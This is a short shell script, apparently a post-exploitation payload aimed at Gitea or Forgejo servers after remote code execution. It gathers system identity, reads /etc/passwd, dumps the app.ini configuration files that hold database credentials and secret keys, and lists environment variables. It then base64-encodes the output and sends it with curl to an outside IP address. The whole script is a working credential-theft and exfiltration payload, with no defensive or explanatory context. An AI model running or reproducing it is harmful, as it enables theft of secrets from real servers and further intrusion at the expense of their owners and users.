#!/bin/sh
{
echo "=== RCE CONFIRMED ==="
id
hostname
whoami
uname -a
cat /etc/passwd 2>/dev/null | head -20
ls -la /data/gitea/conf/ 2>/dev/null
cat /data/gitea/conf/app.ini 2>/dev/null | head -50
ls -la /etc/forgejo/ 2>/dev/null
cat /etc/forgejo/app.ini 2>/dev/null | head -50
find / -name "app.ini" -type f 2>/dev/null | head -5
env | sort | head -30
} 2>&1 | base64 -w0 | xargs -I{} curl -s "http://44.218.236.231:4445/rce?data={}"